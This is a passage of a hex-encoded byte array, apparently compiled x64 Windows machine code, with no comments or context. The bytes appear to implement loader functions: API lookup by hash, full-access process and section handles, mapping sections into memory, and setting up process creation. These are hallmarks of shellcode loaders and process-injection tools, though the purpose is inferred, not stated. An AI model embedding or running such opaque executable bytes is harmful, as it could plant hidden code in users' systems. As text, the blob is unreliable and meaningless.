0x00,0x00,0x0F,0x84,0xA0,0x00,0x00,0x00,0x48,0x8B,0x85,0x78,0x04,0x00,0x00,0x48,0x8D,0x15,0xCC,0xFE,0xFF,0xFF,0xB9,0x01,0x00,0x00,0x00,0xFF,0xD0,0x48,0x89,0x85,0x80,0x04,0x00,0x00,0x48,0x83,0xBD,0x80,0x04,0x00,0x00,0x00,0x74,0x7D,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFE,0xFF,0xFF,0xFF,0xE8,0xD2,0x7E,0x00,0x00,0x89,0x85,0x88,0x04,0x00,0x00,0x83,0xBD,0x88,0x04,0x00,0x00,0x00,0x78,0x5E,0x48,0x8B,0x95,0xB0,0x04,0x00,0x00,0x48,0x8D,0x45,0xA0,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA2,0xFD,0xFF,0xFF,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFE,0xFF,0xFF,0xFF,0xE8,0xF1,0x7E,0x00,0x00,0x89,0x85,0x88,0x04,0x00,0x00,0x83,0xBD,0x88,0x04,0x00,0x00,0x00,0x78,0x26,0x48,0x8B,0x85,0xB8,0x04,0x00,0x00,0x48,0x8B,0x95,0x80,0x04,0x00,0x00,0x48,0x89,0x10,0xC7,0x85,0x8C,0x04,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x85,0x8C,0x04,0x00,0x00,0x48,0x81,0xC4,0x18,0x05,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0x08,0x05,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0xA0,0x04,0x00,0x00,0xC7,0x85,0x7C,0x04,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x9A,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8D,0x45,0xA0,0x41,0xB8,0xD0,0x04,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE9,0xB8,0x00,0x00,0xC7,0x45,0xD0,0x1F,0x00,0x10,0x00,0xC7,0x85,0x78,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x70,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xC9,0xD9,0x00,0x00,0x48,0x89,0xC1,0xE8,0x26,0x32,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xA3,0x0E,0x38,0x24,0x48,0x89,0xC1,0xE8,0x34,0x30,0x00,0x00,0x48,0x89,0x85,0x70,0x04,0x00,0x00,0x48,0x83,0xBD,0x70,0x04,0x00,0x00,0x00,0x74,0x77,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFE,0xFF,0xFF,0xFF,0xE8,0x9D,0x7D,0x00,0x00,0x89,0x85,0x7C,0x04,0x00,0x00,0x83,0xBD,0x7C,0x04,0x00,0x00,0x00,0x78,0x58,0x48,0x8D,0x45,0xA0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC1,0xFB,0xFF,0xFF,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFE,0xFF,0xFF,0xFF,0xE8,0xC4,0x7D,0x00,0x00,0x89,0x85,0x7C,0x04,0x00,0x00,0x83,0xBD,0x7C,0x04,0x00,0x00,0x00,0x78,0x28,0x48,0x8B,0x85,0xA0,0x04,0x00,0x00,0x48,0x8B,0x95,0x70,0x04,0x00,0x00,0x48,0x89,0xC1,0xFF,0xD2,0x89,0x85,0x78,0x04,0x00,0x00,0x83,0xBD,0x78,0x04,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x90,0x48,0x81,0xC4,0x08,0x05,0x00,0x00,0x5F,0x5D,0xC3,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x48,0x83,0x7D,0x10,0x00,0x74,0x15,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x43,0x7B,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x09,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xB0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0x0F,0x11,0x45,0xC0,0xC7,0x45,0x9C,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x10,0x00,0x0F,0x84,0xE6,0x00,0x00,0x00,0x48,0x8D,0x05,0x81,0xD8,0x00,0x00,0x48,0x89,0x45,0xE8,0x66,0xC7,0x45,0xE0,0xA0,0x00,0x66,0xC7,0x45,0xE2,0xA2,0x00,0xC7,0x45,0xA0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0x45,0xB0,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xA0,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x01,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x3F,0x00,0x0F,0x00,0x48,0x89,0xC1,0xE8,0x8A,0x77,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x63,0x48,0x8D,0x05,0x9D,0xD8,0x00,0x00,0x48,0x89,0x45,0xD8,0x66,0xC7,0x45,0xD0,0x10,0x00,0x66,0xC7,0x45,0xD2,0x12,0x00,0xC7,0x45,0x9C,0x02,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x00,0x48,0x8D,0x55,0xD0,0xC7,0x44,0x24,0x28,0x04,0x00,0x00,0x00,0x48,0x8D,0x4D,0x9C,0x48,0x89,0x4C,0x24,0x20,0x41,0xB9,0x04,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8D,0x77,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x0F,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xB0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0x02,0xD8,0x00,0x00,0x48,0x89,0x45,0xB8,0x66,0xC7,0x45,0xB0,0x46,0x00,0x66,0xC7,0x45,0xB2,0x48,0x00,0x48,0x8D,0x45,0xB0,0x48,0x89,0x45,0xD0,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xC0,0x48,0x8D,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x01,0x00,0x10,0x00,0x48,0x89,0xC1,0xE8,0xD5,0x77,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x29,0x48,0x8B,0x45,0xF0,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD1,0x70,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x2F,0x6C,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xC4,0x80,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x6E,0xD7,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAB,0x2E,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xFE,0xF2,0xC3,0x6C,0x48,0x89,0xC1,0xE8,0xB9,0x2C,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x56,0x48,0xB8,0x75,0x08,0xBC,0xA3,0x3A,0x0B,0x94,0x41,0x48,0x89,0x45,0xE0,0x48,0x8D,0x45,0xE0,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8B,0x76,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x0F,0x89,0xA6,0x00,0x00,0x00,0xE9,0xAE,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xE6,0xD6,0x00,0x00,0x48,0x89,0xC1,0xE8,0x23,0x2E,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x99,0xF8,0x0F,0x98,0x48,0x89,0xC1,0xE8,0x31,0x2C,0x00,0x00,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x74,0x78,0xC7,0x45,0xD0,0xD8,0xEA,0x6E,0xE4,0x66,0xC7,0x45,0xD4,0x54,0x0C,0x66,0xC7,0x45,0xD6,0x89,0x44,0x48,0xB8,0x98,0x98,0x8F,0xA7,0x9D,0x05,0x9E,0x0E,0x48,0x89,0x45,0xD8,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xC0,0x41,0xB8,0x10,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x50,0xB4,0x00,0x00,0x48,0x8D,0x55,0xC0,0x48,0x8D,0x45,0xD0,0x4C,0x8B,0x55,0xE8,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xEC,0x80,0x5D,0xC3,0x55,0x48,0x81,0xEC,0x20,0x01,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0xB0,0x00,0x00,0x00,0x48,0x89,0x95,0xB8,0x00,0x00,0x00,0xC7,0x85,0x9C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x98,0x00,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0xC7,0x85,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x88,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x78,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x40,0x0F,0x11,0x45,0x50,0x0F,0x11,0x45,0x60,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xF0,0x0F,0x11,0x45,0x00,0x0F,0x11,0x45,0x10,0x0F,0x11,0x45,0x20,0x66,0x0F,0xD6,0x45,0x30,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xE8,0x15,0xFE,0xFF,0xFF,0x89,0x85,0x98,0x00,0x00,0x00,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x0F,0x88,0xA5,0x01,0x00,0x00,0xE8,0x0E,0xFD,0xFF,0xFF,0x89,0x85,0x98,0x00,0x00,0x00,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x0F,0x88,0x90,0x01,0x00,0x00,0x48,0x8D,0x05,0x9B,0xD5,0x00,0x00,0x48,0x89,0x85,0x88,0x00,0x00,0x00,0x66,0xC7,0x85,0x80,0x00,0x00,0x00,0x42,0x00,0x66,0xC7,0x85,0x82,0x00,0x00,0x00,0x44,0x00,0xC7,0x45,0x40,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0x48,0x00,0x00,0x00,0x00,0xC7,0x45,0x58,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x60,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x68,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xF0,0x41,0xB8,0x48,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFD,0xB2,0x00,0x00,0x48,0xC7,0x45,0x00,0x78,0x05,0x00,0x00,0x4C,0x8D,0x45,0xF0,0x48,0x8D,0x4D,0x40,0x48,0x8D,0x95,0x80,0x00,0x00,0x00,0x48,0x8D,0x45,0x78,0x48,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x02,0x00,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xF6,0x74,0x00,0x00,0x89,0x85,0x98,0x00,0x00,0x00,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x0F,0x88,0xB4,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x78,0x05,0x00,0x00,0x48,0x8B,0x45,0x78,0x48,0x8B,0x8D,0xB0,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xE8,0x48,0x89,0x54,0x24,0x28,0x48,0x8B,0x95,0xB8,0x00,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xC8,0xBA,0x00,0x00,0x02,0x00,0x48,0x89,0xC1,0xE8,0xEA,0x74,0x00,0x00,0x89,0x85,0x98,0x00,0x00,0x00,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x78,0x58,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x78,0x52,0x81,0xBD,0x98,0x00,0x00,0x00,0x02,0x01,0x00,0x00,0x74,0x46,0x48,0x8B,0x85,0xB8,0x00,0x00,0x00,0x8B,0x40,0x2C,0x85,0xC0,0x79,0x20,0x48,0x8D,0x05,0x82,0xD4,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8A,0x08,0x00,0x00,0x48,0x8D,0x05,0x9B,0xD4,0x00,0x00,0x48,0x89,0xC1,0xE8,0x7B,0x08,0x00,0x00,0xEB,0x19,0xC7,0x85,0x9C,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0x78,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0x78,0x48,0x89,0xC1,0xE8,0x61,0x68,0x00,0x00,0x8B,0x85,0x9C,0x00,0x00,0x00,0x48,0x81,0xC4,0x20,0x01,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0x10,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x04,0x00,0x00,0x89,0xC1,0xE8,0xCD,0x39,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x25,0x8B,0x45,0x10,0x89,0xC2,0x48,0x8D,0x05,0xF3,0xD3,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCB,0x07,0x00,0x00,0x48,0x8D,0x05,0xDC,0xD3,0x00,0x00,0x48,0x89,0xC1,0xE8,0xBC,0x07,0x00,0x00,0xEB,0x5F,0x48,0x8B,0x55,0xE8,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x4D,0xE8,0x48,0x89,0x4C,0x24,0x28,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x08,0x00,0x00,0x48,0x89,0xC1,0xE8,0x75,0x77,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x25,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x61,0x22,0x00,0x00,0x48,0x8B,0x55,0x18,0x89,0x02,0x48,0x8B,0x45,0x18,0x8B,0x00,0x85,0xC0,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x5E,0x67,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x49,0x67,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0xF8,0x0C,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x89,0x8D,0x90,0x0C,0x00,0x00,0x48,0x89,0x95,0x98,0x0C,0x00,0x00,0xC7,0x85,0x6C,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x5C,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x58,0x0C,0x00,0x00,0x01,0x00,0x00,0xC0,0xC7,0x85,0x4C,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x40,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x50,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x38,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x30,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x28,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x20,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x18,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x10,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0xE0,0x0B,0x00,0x00,0x0F,0x11,0x85,0xF0,0x0B,0x00,0x00,0x0F,0x11,0x85,0x00,0x0C,0x00,0x00,0x48,0xC7,0x85,0xD0,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xD8,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xC8,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x60,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x95,0x30,0x0B,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x13,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x85,0x20,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x28,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x95,0x50,0x06,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x9A,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0xC7,0x85,0x30,0x0B,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0x8D,0x85,0x30,0x0B,0x00,0x00,0x48,0x89,0x85,0x20,0x0B,0x00,0x00,0x48,0x8D,0x85,0x50,0x06,0x00,0x00,0x48,0x89,0x85,0x28,0x0B,0x00,0x00,0x48,0x8D,0x85,0xC8,0x0B,0x00,0x00,0x48,0x89,0xC1,0xE8,0x77,0xF7,0xFF,0xFF,0x89,0x85,0x5C,0x0C,0x00,0x00,0x83,0xBD,0x5C,0x0C,0x00,0x00,0x00,0x0F,0x84,0x67,0x04,0x00,0x00,0xC7,0x85,0xE0,0x0B,0x00,0x00,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0xE8,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xF8,0x0B,0x00,0x00,0x02,0x00,0x00,0x00,0x48,0xC7,0x85,0xF0,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x08,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x95,0xE0,0x0B,0x00,0x00,0x48,0x8D,0x85,0x38,0x0C,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x10,0x48,0x89,0xC1,0xE8,0xCD,0x72,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x0F,0x88,0xEB,0x03,0x00,0x00,0x48,0x8D,0x95,0xE0,0x0B,0x00,0x00,0x48,0x8D,0x85,0x30,0x0C,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x10,0x48,0x89,0xC1,0xE8,0x8E,0x72,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x0F,0x88,0xAF,0x03,0x00,0x00,0x48,0xC7,0x85,0x18,0x0C,0x00,0x00,0xF8,0x00,0x00,0x00,0x48,0x8D,0x8D,0x18,0x0C,0x00,0x00,0x48,0x8D,0x95,0xE0,0x0B,0x00,0x00,0x48,0x8D,0x85,0x28,0x0C,0x00,0x00,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x08,0xC7,0x44,0x24,0x20,0x04,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x1F,0x00,0x0F,0x00,0x48,0x89,0xC1,0xE8,0x07,0x6D,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x0F,0x88,0x53,0x03,0x00,0x00,0x48,0x8B,0x85,0x28,0x0C,0x00,0x00,0x48,0x8D,0x8D,0x20,0x0C,0x00,0x00,0xC7,0x44,0x24,0x48,0x04,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x01,0x00,0x00,0x00,0x48,0x8D,0x95,0x10,0x0C,0x00,0x00,0x48,0x89,0x54,0x24,0x30,0x48,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0xC7,0xC2,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0x2F,0x75,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x0F,0x88,0xE7,0x02,0x00,0x00,0x48,0x8D,0x95,0x4C,0x0C,0x00,0x00,0x8B,0x85,0x90,0x0C,0x00,0x00,0x89,0xC1,0xE8,0xDF,0xFB,0xFF,0xFF,0x89,0x85,0x5C,0x0C,0x00,0x00,0x83,0xBD,0x5C,0x0C,0x00,0x00,0x00,0x0F,0x84,0xC3,0x02,0x00,0x00,0x8B,0x85,0x90,0x0C,0x00,0x00,0x48,0x89,0x85,0xD0,0x0B,0x00,0x00,0x8B,0x85,0x4C,0x0C,0x00,0x00,0x89,0xC0,0x48,0x89,0x85,0xD8,0x0B,0x00,0x00,0x48,0x8D,0x8D,0xD0,0x0B,0x00,0x00,0x48,0x8D,0x95,0xE0,0x0B,0x00,0x00,0x48,0x8D,0x85,0x40,0x0C,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x00,0x08,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5A,0x74,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x0F,0x88,0x6F,0x02,0x00,0x00,0x48,0x8D,0x95,0x50,0x05,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x1F,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0xC7,0x85,0x50,0x05,0x00,0x00,0xF8,0x00,0x00,0x00,0x48,0x8D,0x85,0x20,0x0B,0x00,0x00,0x48,0x89,0x85,0xF8,0x05,0x00,0x00,0x48,0x8B,0x85,0x30,0x0C,0x00,0x00,0x48,0x89,0x85,0x20,0x06,0x00,0x00,0x48,0x8B,0x85,0x38,0x0C,0x00,0x00,0x48,0x89,0x85,0x18,0x06,0x00,0x00,0xC7,0x85,0x00,0x06,0x00,0x00,0x05,0x40,0x00,0x80,0xC7,0x85,0x38,0x06,0x00,0x00,0x01,0x00,0x00,0xC0,0xE8,0x8D,0x0A,0x00,0x00,0x89,0x85,0x40,0x06,0x00,0x00,0x8B,0x85,0x90,0x0C,0x00,0x00,0x89,0x85,0x54,0x05,0x00,0x00,0x48,0x8B,0x85,0x98,0x0C,0x00,0x00,0x48,0x89,0x85,0x08,0x06,0x00,0x00,0x8B,0x85,0x4C,0x0C,0x00,0x00,0x89,0x85,0x58,0x05,0x00,0x00,0x48,0x8B,0x85,0x40,0x0C,0x00,0x00,0x48,0x89,0x85,0x10,0x06,0x00,0x00,0x48,0x8D,0x55,0xD0,0xB8,0x00,0x00,0x00,0x00,0xB9,0xAF,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x66,0xC7,0x45,0xD2,0x78,0x05,0x66,0xC7,0x45,0xD0,0x50,0x05,0xC7,0x45,0xF8,0x00,0x00,0x